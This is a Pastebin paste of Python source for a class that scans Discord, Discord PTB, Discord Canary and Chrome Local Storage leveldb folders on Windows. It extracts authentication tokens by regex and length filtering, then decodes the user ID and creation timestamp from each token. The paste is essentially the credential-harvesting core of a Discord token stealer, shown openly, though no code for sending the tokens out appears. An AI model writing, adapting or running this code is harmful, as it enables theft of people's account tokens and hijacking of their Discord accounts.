Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os, re, base64, datetime
- class TokenReader:
- def __init__(self):
- self.local_appdata = os.getenv('LOCALAPPDATA')
- self.appdata = os.getenv('APPDATA')
- def is_line_token(self, line):
- if any(match in line for match in [">oken", "token>", "[oken"]):
- return bool(re.search(r'"([A-Za-z0-9_\./\\-]*)"', line).group(1))
- return False
- def get_discord_folders(self):
- dirs = {
- "temp":self.local_appdata + '\\temp\\',
- "token_dir":self.appdata + "\\Discord\\Local Storage\\leveldb\\",
- "ptb_token_dir":self.appdata + "\\discordptb\\Local Storage\\leveldb\\",
- "canary_token_dir":self.appdata + "\\discordcanary\\Local Storage\\leveldb\\",
- "chrome_dir":self.local_appdata + "\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\"
- }
- # Check if paths exist and return
- return [dirs[key] for key in list(dirs.keys()) if os.path.isdir(dirs[key])]
- def get_token(self):
- existing_folders = self.get_discord_folders()
- token_lines = []
- for folder in existing_folders:
- for root, dirs, files in os.walk(folder):
- for file in files:
- try:
- f_read = open(folder +'/'+file, errors='ignore')
- f_lines = f_read.readlines()
- except:
- pass # Either access denied or bad format.
- token_line = [line for line in f_lines if self.is_line_token(line)]
- if token_line:
- token = re.search(r'"([A-Za-z0-9_\./\\-]*)"', token_line[0]).group(1)
- if len(token) > 50 and len(token) < 60:
- token_lines.append(token)
- return token_lines
- def get_discord_id_from_token(self, token):
- return base64.b64decode(token.split(".")[0]).decode()
- def get_timestamp_from_token(self, token):
- try:
- dt = datetime.datetime.utcfromtimestamp(int.from_bytes(base64.b64decode(token.split(".")[1] + "=="), "big")).strftime('%Y-%m-%d %H:%M:%S')
- return dt
- except:
- return None
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement